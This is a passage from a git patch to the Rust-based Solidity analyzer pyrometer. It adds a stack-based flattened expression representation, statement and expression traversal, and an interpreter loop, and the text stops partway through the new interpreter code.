From 5a32ab3d78583f07ba4a9efa8f70ddfeccbbe7cd Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sun, 14 Jul 2024 20:03:59 -0700 Subject: [PATCH 01/52] basic stack-based impl --- crates/graph/src/graph_elements.rs | 6 +- .../graph/src/nodes/context/var/underlying.rs | 6 + crates/graph/src/nodes/context/variables.rs | 24 + crates/graph/src/nodes/func_ty.rs | 33 +- crates/pyrometer/src/analyzer.rs | 79 +--- crates/pyrometer/src/analyzer_backend.rs | 27 +- crates/pyrometer/src/graph_backend.rs | 6 +- crates/shared/src/analyzer_like.rs | 8 + crates/shared/src/flattened.rs | 238 ++++++++++ crates/shared/src/lib.rs | 2 + .../src/context_builder/flattened.rs | 409 ++++++++++++++++++ .../src/context_builder/mod.rs | 2 + .../src/context_builder/stmt.rs | 20 +- .../solc-expressions/src/func_call/apply.rs | 46 +- .../src/func_call/func_caller.rs | 11 +- .../src/func_call/internal_call.rs | 64 ++- crates/solc-expressions/src/variable.rs | 42 +- 17 files changed, 923 insertions(+), 100 deletions(-) create mode 100644 crates/shared/src/flattened.rs create mode 100644 crates/solc-expressions/src/context_builder/flattened.rs diff --git a/crates/graph/src/graph_elements.rs b/crates/graph/src/graph_elements.rs index 569befc7..311b2945 100644 --- a/crates/graph/src/graph_elements.rs +++ b/crates/graph/src/graph_elements.rs @@ -2,8 +2,8 @@ use crate::elem::Elem; use crate::{nodes::*, VarType}; use shared::{ - AnalyzerLike, GraphDot, GraphError, GraphLike, Heirarchical, NodeIdx, RangeArena, - RepresentationErr, + AnalyzerLike, ExprFlag, FlatExpr, GraphDot, GraphError, GraphLike, Heirarchical, NodeIdx, + RangeArena, RepresentationErr, }; use lazy_static::lazy_static; @@ -33,6 +33,8 @@ pub trait AnalyzerBackend: FunctionParam = FunctionParam, FunctionReturn = FunctionReturn, Function = Function, + ExprFlag = ExprFlag, + FlatExpr = FlatExpr, > + GraphBackend { fn add_concrete_var( diff --git a/crates/graph/src/nodes/context/var/underlying.rs b/crates/graph/src/nodes/context/var/underlying.rs index e8df5dba..fe4b311e 100644 --- a/crates/graph/src/nodes/context/var/underlying.rs +++ b/crates/graph/src/nodes/context/var/underlying.rs @@ -39,6 +39,12 @@ impl TmpConstruction { } } +impl From for Node { + fn from(var: ContextVar) -> Self { + Node::ContextVar(var) + } +} + impl ContextVar { pub fn eq_ignore_loc(&self, other: &Self) -> bool { self.name == other.name diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index e9ba4098..5b12256f 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -499,6 +499,30 @@ impl ContextNode { } } + pub fn pop_n_latest_exprs( + &self, + n: usize, + loc: Loc, + analyzer: &mut impl AnalyzerBackend, + ) -> Result, GraphError> { + let underlying_mut = self.underlying_mut(analyzer)?; + + let mut res = vec![]; + for _ in 0..n { + if let Some(elem) = underlying_mut.expr_ret_stack.pop() { + res.push(elem); + } else { + return Err(GraphError::StackLengthMismatch(format!( + "Expected {n} ExprRets on stack, but had fewer" + ))); + } + } + + res.into_iter() + .map(|elem| self.maybe_move_expr(elem, loc, analyzer)) + .collect::, _>>() + } + /// Gets local vars that were assigned from a function return pub fn vars_assigned_from_fn_ret(&self, analyzer: &impl GraphBackend) -> Vec { self.local_vars(analyzer) diff --git a/crates/graph/src/nodes/func_ty.rs b/crates/graph/src/nodes/func_ty.rs index 1adbcf3d..4cb1a11c 100644 --- a/crates/graph/src/nodes/func_ty.rs +++ b/crates/graph/src/nodes/func_ty.rs @@ -1,5 +1,8 @@ use crate::{ - nodes::{Concrete, ContextNode, ContractNode, SourceUnitNode, SourceUnitPartNode}, + nodes::{ + Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, SourceUnitNode, + SourceUnitPartNode, + }, range::elem::Elem, AnalyzerBackend, AsDotStr, ContextEdge, Edge, GraphBackend, Node, SolcRange, VarType, }; @@ -413,6 +416,17 @@ impl FunctionNode { } } + pub fn add_params_to_ctx( + &self, + ctx: ContextNode, + analyzer: &mut impl AnalyzerBackend, + ) -> Result<(), GraphError> { + self.params(analyzer).iter().try_for_each(|param| { + let _ = param.maybe_add_to_ctx(ctx, analyzer)?; + Ok(()) + }) + } + pub fn ordered_param_names(&self, analyzer: &impl GraphBackend) -> Vec { let param_nodes = self.params(analyzer); param_nodes @@ -946,6 +960,23 @@ impl FunctionParamNode { pub fn ty(&self, analyzer: &impl GraphBackend) -> Result { Ok(self.underlying(analyzer)?.ty) } + + pub fn maybe_add_to_ctx( + &self, + ctx: ContextNode, + analyzer: &mut impl AnalyzerBackend, + ) -> Result { + if let Some(var) = + ContextVar::maybe_new_from_func_param(analyzer, self.underlying(analyzer)?.clone()) + { + let var = ContextVarNode::from(analyzer.add_node(var)); + ctx.add_var(var, analyzer)?; + analyzer.add_edge(var, ctx, Edge::Context(ContextEdge::Variable)); + Ok(true) + } else { + Ok(false) + } + } } impl From for NodeIdx { diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index a1017491..2dc33151 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -5,8 +5,8 @@ use graph::{nodes::*, ContextEdge, Edge, Node, VarType}; use reqwest::Client; use serde::{Deserialize, Serialize}; use shared::{AnalyzerLike, ApplyStats, GraphLike, NodeIdx, Search}; -use shared::{ExprErr, IntoExprErr, RangeArena, USE_DEBUG_SITE}; -use solc_expressions::StatementParser; +use shared::{ExprErr, ExprFlag, FlatExpr, IntoExprErr, RangeArena, USE_DEBUG_SITE}; +use solc_expressions::{Flatten, StatementParser}; use tokio::runtime::Runtime; use tracing::{error, trace, warn}; @@ -146,9 +146,12 @@ pub struct Analyzer { pub handled_funcs: Vec, /// Target Context to debug pub minimize_debug: Option, + + pub flattened: Vec, + pub expr_flag: Option, } -impl Default for Analyzer { +impl<'a> Default for Analyzer { fn default() -> Self { let mut a = Self { root: Default::default(), @@ -184,6 +187,8 @@ impl Default for Analyzer { }, handled_funcs: Vec::default(), minimize_debug: None, + flattened: vec![], + expr_flag: None, }; a.builtin_fn_inputs = builtin_fns::builtin_fns_inputs(&mut a); @@ -573,69 +578,19 @@ impl Analyzer { }); elems.into_iter().for_each(|final_pass_item| { - // final_pass_item - // .funcs - // .iter() - // .for_each(|func| self.analyze_fn_calls(*func)); - // let mut func_mapping = BTreeMap::default(); - // let mut call_dep_graph: StableGraph = StableGraph::default(); - // let fn_calls_fns = std::mem::take(&mut self.fn_calls_fns); - // fn_calls_fns.iter().for_each(|(func, calls)| { - // if !calls.is_empty() { - // let func_idx = if let Some(idx) = func_mapping.get(func) { - // *idx - // } else { - // let idx = call_dep_graph.add_node(*func); - // func_mapping.insert(func, idx); - // idx - // }; - - // calls.iter().for_each(|call| { - // let call_idx = if let Some(idx) = func_mapping.get(call) { - // *idx - // } else { - // let idx = call_dep_graph.add_node(*call); - // func_mapping.insert(call, idx); - // idx - // }; - - // call_dep_graph.add_edge(func_idx, call_idx, 0); - // }); - // } else { - // self.handled_funcs.push(*func); - // if let Some(body) = &func.underlying(self).unwrap().body.clone() { - // self.parse_ctx_statement(arena, body, false, Some(*func)); - // } - // } - // }); - - // let mut res = petgraph::algo::toposort(&call_dep_graph, None); - // while let Err(cycle) = res { - // call_dep_graph.remove_node(cycle.node_id()); - // res = petgraph::algo::toposort(&call_dep_graph, None); - // } - - // let indices = res.unwrap(); - - // indices.iter().for_each(|idx| { - // let func = call_dep_graph.node_weight(*idx).unwrap(); - // if !self.handled_funcs.contains(func) { - // self.handled_funcs.push(*func); - // if let Some(body) = &func.underlying(self).unwrap().body.clone() { - // self.parse_ctx_statement(arena, body, false, Some(*func)); - // } - // } - // }); - final_pass_item.funcs.into_iter().for_each(|func| { if !self.handled_funcs.contains(&func) { - if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.parse_ctx_statement(arena, body, false, Some(func)); + if let Some(body) = &func.underlying(self).unwrap().body { + let body = body.clone(); + self.traverse_statement(&body); + // println!("{:#?}", self.flattened); + + self.interpret(func, body.loc(), arena) + // self.flattened = Default::default(); + // self.parse_ctx_statement(arena, body, false, Some(*func)); } } }); - - // self.fn_calls_fns = fn_calls_fns; }); } @@ -1460,7 +1415,7 @@ impl Analyzer { FunctionNode::from(node) } FunctionTy::Function => { - let fn_node = self.add_node(func); + let fn_node = self.add_node(func.clone()); if let Some(con_node) = con_node { self.add_edge(fn_node, con_node, Edge::Func); } diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 1562477c..eded1288 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -9,8 +9,8 @@ use graph::{ AnalyzerBackend, Edge, GraphBackend, Node, RepresentationInvariant, TypeNode, VarType, }; use shared::{ - AnalyzerLike, ApplyStats, ExprErr, GraphError, GraphLike, IntoExprErr, NodeIdx, RangeArena, - RepresentationErr, + AnalyzerLike, ApplyStats, ExprErr, ExprFlag, FlatExpr, GraphError, GraphLike, IntoExprErr, + NodeIdx, RangeArena, RepresentationErr, }; use ahash::AHashMap; @@ -556,4 +556,27 @@ impl AnalyzerLike for Analyzer { } Ok(res) } + + type FlatExpr = FlatExpr; + type ExprFlag = ExprFlag; + + fn push_expr(&mut self, flat: FlatExpr) { + self.flattened.push(flat); + } + + fn expr_stack(&self) -> &[FlatExpr] { + &self.flattened + } + + fn expr_stack_mut(&mut self) -> &mut Vec { + &mut self.flattened + } + + fn set_expr_flag(&mut self, flag: ExprFlag) { + self.expr_flag = Some(flag) + } + + fn take_expr_flag(&mut self) -> Option { + std::mem::take(&mut self.expr_flag) + } } diff --git a/crates/pyrometer/src/graph_backend.rs b/crates/pyrometer/src/graph_backend.rs index 55d65308..4d06a7f0 100644 --- a/crates/pyrometer/src/graph_backend.rs +++ b/crates/pyrometer/src/graph_backend.rs @@ -919,7 +919,7 @@ impl GraphDot for Analyzer { } } - fn dot_str(&self, arena: &mut RangeArena>) -> String + fn dot_str(&self, arena: &mut RangeArena<::RangeElem>) -> String where Self: std::marker::Sized, Self: AnalyzerBackend, @@ -1006,7 +1006,7 @@ impl GraphDot for Analyzer { dot_str.join("\n") } - fn dot_str_no_tmps(&self, arena: &mut RangeArena>) -> String + fn dot_str_no_tmps(&self, arena: &mut RangeArena<::RangeElem>) -> String where Self: std::marker::Sized, Self: GraphLike + AnalyzerBackend, @@ -1080,7 +1080,7 @@ impl GraphDot for Analyzer { dot_str.join("\n") } - fn mermaid_str(&self, arena: &mut RangeArena>) -> String + fn mermaid_str(&self, arena: &mut RangeArena<::RangeElem>) -> String where Self: std::marker::Sized, Self: AnalyzerBackend, diff --git a/crates/shared/src/analyzer_like.rs b/crates/shared/src/analyzer_like.rs index e9d68b8b..e0783963 100644 --- a/crates/shared/src/analyzer_like.rs +++ b/crates/shared/src/analyzer_like.rs @@ -193,4 +193,12 @@ pub trait AnalyzerLike: GraphLike { &mut self, arena: &RangeArena<::RangeElem>, ) -> Result, GraphError>; + + type FlatExpr; + type ExprFlag; + fn push_expr(&mut self, flat: Self::FlatExpr); + fn expr_stack(&self) -> &[Self::FlatExpr]; + fn expr_stack_mut(&mut self) -> &mut Vec; + fn take_expr_flag(&mut self) -> Option; + fn set_expr_flag(&mut self, flag: Self::ExprFlag); } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs new file mode 100644 index 00000000..49808fef --- /dev/null +++ b/crates/shared/src/flattened.rs @@ -0,0 +1,238 @@ +use crate::{AnalyzerLike, ExprErr, IntoExprErr, RangeArena, StorageLocation}; +use solang_parser::pt::Identifier; +use solang_parser::pt::{Expression, Loc, Statement, Type}; + +#[derive(Debug, Clone, Copy)] +pub enum ExprFlag { + FunctionName(usize), +} + +#[derive(Debug, Clone, Copy)] +pub enum FlatExpr { + VarDef(Loc, Option<&'static str>, Option, bool), + If(Loc), + EndIfCond, + EndIfTrue, + EndIfElseFalse, + + FunctionCallName(usize), + + IfElse(Loc), + Continue(Loc), + Break(Loc), + Return(Loc, bool), + + PostIncrement(Loc), + PostDecrement(Loc), + New(Loc), + ArrayTy(Loc), + ArrayIndexAccess(Loc), + ArraySlice(Loc), + Parenthesis(Loc), + MemberAccess(Loc), + FunctionCall(Loc, usize), + FunctionCallBlock(Loc), + NamedFunctionCall(Loc), + Not(Loc), + Negate(Loc), + Delete(Loc), + PreIncrement(Loc), + PreDecrement(Loc), + UnaryPlus(Loc), + Power(Loc), + Multiply(Loc), + Divide(Loc), + Modulo(Loc), + Add(Loc), + Subtract(Loc), + ShiftLeft(Loc), + ShiftRight(Loc), + BitwiseAnd(Loc), + BitwiseXor(Loc), + BitwiseOr(Loc), + BitwiseNot(Loc), + Less(Loc), + More(Loc), + LessEqual(Loc), + MoreEqual(Loc), + Equal(Loc), + NotEqual(Loc), + And(Loc), + Or(Loc), + ConditionalOperator(Loc), + Assign(Loc), + AssignOr(Loc), + AssignAnd(Loc), + AssignXor(Loc), + AssignShiftLeft(Loc), + AssignShiftRight(Loc), + AssignAdd(Loc), + AssignSubtract(Loc), + AssignMultiply(Loc), + AssignDivide(Loc), + AssignModulo(Loc), + Type(Loc, &'static Type), + This(Loc), + List(Loc, usize), + + Parameter(Loc, Option, Option<&'static str>), + Null(Loc), + + BoolLiteral(Loc, bool), + NumberLiteral(Loc, &'static str, &'static str, Option<&'static str>), + RationalNumberLiteral( + Loc, + &'static str, + &'static str, + &'static str, + Option<&'static str>, + ), + HexNumberLiteral(Loc, &'static str, Option<&'static str>), + StringLiteral(Loc, &'static str), + HexLiteral(Loc, &'static str), + AddressLiteral(Loc, &'static str), + Variable(Loc, &'static str), + FuncToCall(Loc, &'static str), + ArrayLiteral(Loc), +} + +pub fn string_to_static(s: String) -> &'static str { + Box::leak(s.into_boxed_str()) +} + +impl From<&Expression> for FlatExpr { + fn from(expr: &Expression) -> Self { + use Expression::*; + match expr { + PostIncrement(loc, ..) => FlatExpr::PostIncrement(*loc), + PostDecrement(loc, ..) => FlatExpr::PostDecrement(*loc), + New(loc, ..) => FlatExpr::New(*loc), + ArraySubscript(loc, _, None) => FlatExpr::ArrayTy(*loc), + ArraySubscript(loc, _, Some(_)) => FlatExpr::ArrayIndexAccess(*loc), + ArraySlice(loc, ..) => FlatExpr::ArraySlice(*loc), + Parenthesis(loc, ..) => FlatExpr::Parenthesis(*loc), + MemberAccess(loc, ..) => FlatExpr::MemberAccess(*loc), + FunctionCall(loc, _, input_exprs) => FlatExpr::FunctionCall(*loc, input_exprs.len()), + FunctionCallBlock(loc, _, _) => FlatExpr::FunctionCallBlock(*loc), + NamedFunctionCall(loc, ..) => FlatExpr::NamedFunctionCall(*loc), + Not(loc, ..) => FlatExpr::Not(*loc), + Delete(loc, ..) => FlatExpr::Delete(*loc), + PreIncrement(loc, ..) => FlatExpr::PreIncrement(*loc), + PreDecrement(loc, ..) => FlatExpr::PreDecrement(*loc), + UnaryPlus(loc, ..) => FlatExpr::UnaryPlus(*loc), + Power(loc, ..) => FlatExpr::Power(*loc), + Multiply(loc, ..) => FlatExpr::Multiply(*loc), + Divide(loc, ..) => FlatExpr::Divide(*loc), + Modulo(loc, ..) => FlatExpr::Modulo(*loc), + Add(loc, ..) => FlatExpr::Add(*loc), + Subtract(loc, ..) => FlatExpr::Subtract(*loc), + ShiftLeft(loc, ..) => FlatExpr::ShiftLeft(*loc), + ShiftRight(loc, ..) => FlatExpr::ShiftRight(*loc), + BitwiseAnd(loc, ..) => FlatExpr::BitwiseAnd(*loc), + BitwiseXor(loc, ..) => FlatExpr::BitwiseXor(*loc), + BitwiseOr(loc, ..) => FlatExpr::BitwiseOr(*loc), + BitwiseNot(loc, ..) => FlatExpr::BitwiseNot(*loc), + Less(loc, ..) => FlatExpr::Less(*loc), + More(loc, ..) => FlatExpr::More(*loc), + LessEqual(loc, ..) => FlatExpr::LessEqual(*loc), + MoreEqual(loc, ..) => FlatExpr::MoreEqual(*loc), + Equal(loc, ..) => FlatExpr::Equal(*loc), + NotEqual(loc, ..) => FlatExpr::NotEqual(*loc), + And(loc, ..) => FlatExpr::And(*loc), + Or(loc, ..) => FlatExpr::Or(*loc), + ConditionalOperator(loc, ..) => FlatExpr::ConditionalOperator(*loc), + Assign(loc, ..) => FlatExpr::Assign(*loc), + AssignOr(loc, ..) => FlatExpr::AssignOr(*loc), + AssignAnd(loc, ..) => FlatExpr::AssignAnd(*loc), + AssignXor(loc, ..) => FlatExpr::AssignXor(*loc), + AssignShiftLeft(loc, ..) => FlatExpr::AssignShiftLeft(*loc), + AssignShiftRight(loc, ..) => FlatExpr::AssignShiftRight(*loc), + AssignAdd(loc, ..) => FlatExpr::AssignAdd(*loc), + AssignSubtract(loc, ..) => FlatExpr::AssignSubtract(*loc), + AssignMultiply(loc, ..) => FlatExpr::AssignMultiply(*loc), + AssignDivide(loc, ..) => FlatExpr::AssignDivide(*loc), + AssignModulo(loc, ..) => FlatExpr::AssignModulo(*loc), + Type(loc, ty) => { + let ty_box = Box::new(ty.clone()); + let leaked_ty = Box::leak(ty_box); + FlatExpr::Type(*loc, leaked_ty) + } + Negate(loc, ..) => FlatExpr::Negate(*loc), + NumberLiteral(loc, int, exp, unit) => { + if let Some(unit) = unit { + FlatExpr::NumberLiteral( + *loc, + Box::leak(int.clone().into_boxed_str()), + Box::leak(exp.clone().into_boxed_str()), + Some(Box::leak(unit.name.clone().into_boxed_str())), + ) + } else { + FlatExpr::NumberLiteral( + *loc, + Box::leak(int.clone().into_boxed_str()), + Box::leak(exp.clone().into_boxed_str()), + None, + ) + } + } + AddressLiteral(loc, addr) => { + FlatExpr::AddressLiteral(*loc, Box::leak(addr.clone().into_boxed_str())) + } + StringLiteral(lits) => { + let mut final_str = "".to_string(); + let mut loc = lits[0].loc; + lits.iter().for_each(|s| { + loc.use_end_from(&s.loc); + final_str.push_str(&s.string); + }); + FlatExpr::StringLiteral(loc, string_to_static(final_str)) + } + BoolLiteral(loc, b) => FlatExpr::BoolLiteral(*loc, *b), + HexNumberLiteral(loc, b, unit) => { + if let Some(unit) = unit { + FlatExpr::HexNumberLiteral( + *loc, + Box::leak(b.clone().into_boxed_str()), + Some(Box::leak(unit.name.clone().into_boxed_str())), + ) + } else { + FlatExpr::HexNumberLiteral(*loc, Box::leak(b.clone().into_boxed_str()), None) + } + } + HexLiteral(hexes) => { + let mut final_str = "".to_string(); + let mut loc = hexes[0].loc; + hexes.iter().for_each(|s| { + loc.use_end_from(&s.loc); + final_str.push_str(&s.hex); + }); + FlatExpr::HexLiteral(loc, string_to_static(final_str)) + } + RationalNumberLiteral(loc, integer, fraction, exp, unit) => { + if let Some(unit) = unit { + FlatExpr::RationalNumberLiteral( + *loc, + Box::leak(integer.clone().into_boxed_str()), + Box::leak(fraction.clone().into_boxed_str()), + Box::leak(exp.clone().into_boxed_str()), + Some(Box::leak(unit.name.clone().into_boxed_str())), + ) + } else { + FlatExpr::RationalNumberLiteral( + *loc, + Box::leak(integer.clone().into_boxed_str()), + Box::leak(fraction.clone().into_boxed_str()), + Box::leak(exp.clone().into_boxed_str()), + None, + ) + } + } + ArrayLiteral(loc, ..) => FlatExpr::ArrayLiteral(*loc), + Variable(var) => { + FlatExpr::Variable(var.loc, Box::leak(var.name.clone().into_boxed_str())) + } + List(loc, params) => FlatExpr::List(*loc, params.len()), + This(loc, ..) => FlatExpr::This(*loc), + } + } +} diff --git a/crates/shared/src/lib.rs b/crates/shared/src/lib.rs index 7355e36f..b6abe097 100644 --- a/crates/shared/src/lib.rs +++ b/crates/shared/src/lib.rs @@ -1,11 +1,13 @@ mod analyzer_like; mod error; +mod flattened; pub mod gas; mod graph_like; mod search; pub use analyzer_like::*; pub use error::*; +pub use flattened::*; pub use graph_like::*; pub use search::*; diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs new file mode 100644 index 00000000..5abf12c7 --- /dev/null +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -0,0 +1,409 @@ +use crate::{ + context_builder::ContextBuilder, + func_call::{func_caller::FuncCaller, internal_call::InternalFuncCaller}, + ExprTyParser, +}; +use graph::{ + elem::Elem, + nodes::{ + Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, + }, + AnalyzerBackend, ContextEdge, Edge, Node, VarType, +}; + +use shared::{ + string_to_static, AnalyzerLike, ExprErr, ExprFlag, FlatExpr, IntoExprErr, RangeArena, + StorageLocation, +}; +use solang_parser::pt::Identifier; +use solang_parser::pt::{Expression, Loc, Statement, Type}; + +impl Flatten for T where + T: AnalyzerBackend + Sized + ExprTyParser +{ +} + +pub trait Flatten: + AnalyzerBackend + Sized + ExprTyParser +{ + fn traverse_statement(&mut self, stmt: &Statement) { + use Statement::*; + + match stmt { + Block { + loc: _, + unchecked: _, + statements, + } => { + for statement in statements { + // self.set_unchecked(unchecked); + self.traverse_statement(statement); + } + // self.set_unchecked(false); + } + VariableDefinition(loc, var_decl, maybe_expr) => { + let lhs = var_decl.ty.clone(); + if let Some(rhs) = maybe_expr { + self.traverse_expression(rhs); + } + self.traverse_expression(&lhs); + if let Some(name) = var_decl.name.clone() { + self.push_expr(FlatExpr::VarDef( + *loc, + Some(string_to_static(name.name)), + var_decl.storage.clone().map(Into::into), + maybe_expr.is_some(), + )); + } else { + self.push_expr(FlatExpr::VarDef( + *loc, + None, + var_decl.storage.clone().map(Into::into), + maybe_expr.is_some(), + )); + } + } + Args(_loc, _args) => {} + If(loc, if_expr, true_body, None) => { + self.push_expr(FlatExpr::If(*loc)); + self.traverse_expression(if_expr); + self.push_expr(FlatExpr::EndIfCond); + self.traverse_statement(true_body); + self.push_expr(FlatExpr::EndIfTrue); + } + If(loc, if_expr, true_body, Some(false_body)) => { + self.push_expr(FlatExpr::IfElse(*loc)); + self.traverse_expression(if_expr); + self.push_expr(FlatExpr::EndIfCond); + self.traverse_statement(true_body); + self.push_expr(FlatExpr::EndIfTrue); + self.traverse_statement(false_body); + self.push_expr(FlatExpr::EndIfElseFalse); + } + While(loc, cond, body) => {} + For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => {} + DoWhile(loc, while_stmt, while_expr) => {} + Expression(loc, expr) => { + self.traverse_expression(&expr); + } + Continue(loc) => { + self.push_expr(FlatExpr::Continue(*loc)); + } + Break(loc) => { + self.push_expr(FlatExpr::Break(*loc)); + } + Assembly { + loc, + dialect: _, + flags: _, + block: yul_block, + } => {} + Return(loc, maybe_ret_expr) => { + if let Some(ret_expr) = maybe_ret_expr { + self.traverse_expression(ret_expr); + } + + self.push_expr(FlatExpr::Return(*loc, maybe_ret_expr.is_some())); + } + Revert(loc, _maybe_err_path, _exprs) => {} + RevertNamedArgs(_loc, _maybe_err_path, _named_args) => {} + Emit(_loc, _emit_expr) => {} + Try(_loc, _try_expr, _maybe_returns, _clauses) => {} + Error(_loc) => {} + } + } + + fn traverse_expression(&mut self, parent_expr: &Expression) { + use Expression::*; + + match parent_expr { + // literals + NumberLiteral(..) + | AddressLiteral(..) + | StringLiteral(..) + | BoolLiteral(..) + | HexNumberLiteral(..) + | HexLiteral(..) + | RationalNumberLiteral(..) + | Variable(..) => { + self.push_expr(FlatExpr::from(parent_expr)); + } + + Negate(_loc, expr) + | UnaryPlus(_loc, expr) + | BitwiseNot(_loc, expr) + | Not(_loc, expr) + | Delete(_loc, expr) + | Parenthesis(_loc, expr) + | New(_loc, expr) + | PreIncrement(_loc, expr) + | PostIncrement(_loc, expr) + | PreDecrement(_loc, expr) + | PostDecrement(_loc, expr) => { + self.traverse_expression(expr); + self.push_expr(FlatExpr::from(parent_expr)); + } + + // Binary ops + Power(_, lhs, rhs) + | Add(_, lhs, rhs) + | AssignAdd(_, lhs, rhs) + | Subtract(_, lhs, rhs) + | AssignSubtract(_, lhs, rhs) + | Multiply(_, lhs, rhs) + | AssignMultiply(_, lhs, rhs) + | Divide(_, lhs, rhs) + | AssignDivide(_, lhs, rhs) + | Modulo(_, lhs, rhs) + | AssignModulo(_, lhs, rhs) + | ShiftLeft(_, lhs, rhs) + | AssignShiftLeft(_, lhs, rhs) + | ShiftRight(_, lhs, rhs) + | AssignShiftRight(_, lhs, rhs) + | BitwiseAnd(_, lhs, rhs) + | AssignAnd(_, lhs, rhs) + | BitwiseXor(_, lhs, rhs) + | AssignXor(_, lhs, rhs) + | BitwiseOr(_, lhs, rhs) + | AssignOr(_, lhs, rhs) + | Assign(_, lhs, rhs) + | Equal(_, lhs, rhs) + | NotEqual(_, lhs, rhs) + | Less(_, lhs, rhs) + | More(_, lhs, rhs) + | LessEqual(_, lhs, rhs) + | MoreEqual(_, lhs, rhs) + | And(_, lhs, rhs) + | Or(_, lhs, rhs) => { + self.traverse_expression(rhs); + self.traverse_expression(lhs); + self.push_expr(FlatExpr::from(parent_expr)); + } + + List(_, params) => { + params.iter().for_each(|(loc, maybe_param)| { + if let Some(param) = maybe_param { + self.traverse_expression(¶m.ty); + if let Some(name) = ¶m.name { + self.push_expr(FlatExpr::Parameter( + param.loc, + param.storage.clone().map(Into::into), + Some(Box::leak(name.name.clone().into_boxed_str())), + )); + } else { + self.push_expr(FlatExpr::Parameter( + param.loc, + param.storage.clone().map(Into::into), + None, + )); + } + } else { + self.push_expr(FlatExpr::Null(*loc)); + } + }); + self.push_expr(FlatExpr::from(parent_expr)); + } + // array + ArraySubscript(loc, ty_expr, None) => { + self.traverse_expression(ty_expr); + self.push_expr(FlatExpr::ArrayTy(*loc)); + } + ArraySubscript(loc, ty_expr, Some(index_expr)) => { + self.traverse_expression(index_expr); + self.traverse_expression(ty_expr); + self.push_expr(FlatExpr::ArrayIndexAccess(*loc)); + } + ConditionalOperator(loc, if_expr, true_expr, false_expr) => {} + ArraySlice(loc, lhs_expr, maybe_middle_expr, maybe_rhs) => {} + ArrayLiteral(loc, _) => {} + + // Function calls + FunctionCallBlock(loc, func_expr, call_block) => { + self.traverse_statement(call_block); + self.traverse_expression(func_expr); + self.push_expr(FlatExpr::FunctionCallBlock(*loc)); + } + NamedFunctionCall(loc, func_expr, input_args) => {} + FunctionCall(loc, func_expr, input_exprs) => { + input_exprs.iter().rev().for_each(|expr| { + self.traverse_expression(expr); + }); + + self.push_expr(FlatExpr::FunctionCallName(input_exprs.len())); + self.traverse_expression(func_expr); + self.push_expr(FlatExpr::FunctionCall(*loc, input_exprs.len())); + } + // member + This(loc) => self.push_expr(FlatExpr::This(*loc)), + MemberAccess(loc, member_expr, ident) => {} + + // Misc. + Type(..) => self.push_expr(FlatExpr::from(parent_expr)), + } + } + + fn interpret( + &mut self, + func: FunctionNode, + body_loc: Loc, + arena: &mut RangeArena>, + ) { + use FlatExpr::*; + let stack = std::mem::take(self.expr_stack_mut()); + + let raw_ctx = Context::new( + func, + self.add_if_err(func.name(self).into_expr_err(body_loc)) + .unwrap(), + body_loc, + ); + let ctx = ContextNode::from(self.add_node(Node::Context(raw_ctx))); + self.add_edge(ctx, func, Edge::Context(ContextEdge::Context)); + + let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); + self.add_if_err(res); + + for next in stack { + let res = self.apply_to_edges( + ctx, + body_loc, + arena, + &|analyzer: &mut Self, + arena: &mut RangeArena>, + ctx: ContextNode, + loc: Loc| match next { + VarDef(loc, maybe_name, maybe_storage, inited) => { + let lhs_ty; + let mut rhs = None; + + if inited { + let res = ctx + .pop_n_latest_exprs(2, loc, analyzer) + .into_expr_err(loc)?; + let [lhs_res, rhs_res] = into_sized::(res); + lhs_ty = Some(lhs_res); + rhs = Some(rhs_res); + } else { + let res = ctx + .pop_n_latest_exprs(1, loc, analyzer) + .into_expr_err(loc)?; + let [lhs_res] = into_sized::(res); + lhs_ty = Some(lhs_res); + } + if let Some(lhs_ty) = lhs_ty { + let _ = analyzer.match_var_def( + arena, + ctx, + (maybe_name, maybe_storage), + loc, + &lhs_ty, + rhs.as_ref(), + )?; + Ok(()) + } else { + Ok(()) + } + } + Type(loc, ty) => { + if let Some(builtin) = Builtin::try_from_ty(ty.clone(), analyzer, arena) { + if let Some(idx) = analyzer.builtins().get(&builtin) { + ctx.push_expr(ExprRet::Single(*idx), analyzer) + .into_expr_err(loc) + } else { + let idx = analyzer.add_node(Node::Builtin(builtin.clone())); + analyzer.builtins_mut().insert(builtin, idx); + ctx.push_expr(ExprRet::Single(idx), analyzer) + .into_expr_err(loc) + } + } else { + ctx.push_expr(ExprRet::Null, analyzer).into_expr_err(loc) + } + } + Return(loc, nonempty) => Ok(()), + Variable(loc, name) => { + if let Some(ExprFlag::FunctionName(n)) = analyzer.take_expr_flag() { + let maybe_fn = analyzer + .find_func(arena, ctx, name.to_string(), n) + .into_expr_err(loc)?; + if let Some(fn_node) = maybe_fn { + let as_var = + ContextVar::maybe_from_user_ty(analyzer, loc, fn_node.into()) + .unwrap(); + let fn_var = ContextVarNode::from(analyzer.add_node(as_var)); + ctx.add_var(fn_var, analyzer).into_expr_err(loc)?; + analyzer.add_edge( + fn_var, + ctx, + Edge::Context(ContextEdge::Variable), + ); + ctx.push_expr(ExprRet::Single(fn_var.into()), analyzer) + .into_expr_err(loc) + } else { + Ok(()) + } + } else { + analyzer.variable( + arena, + &solang_parser::pt::Identifier { + loc, + name: name.to_string(), + }, + ctx, + None, + None, + ) + } + } + Assign(loc) => { + let res = ctx + .pop_n_latest_exprs(2, loc, analyzer) + .into_expr_err(loc)?; + let [lhs, rhs] = into_sized(res); + analyzer.match_assign_sides(arena, ctx, loc, &lhs, &rhs) + } + BoolLiteral(loc, b) => analyzer.bool_literal(ctx, loc, b), + FunctionCallName(n) => { + 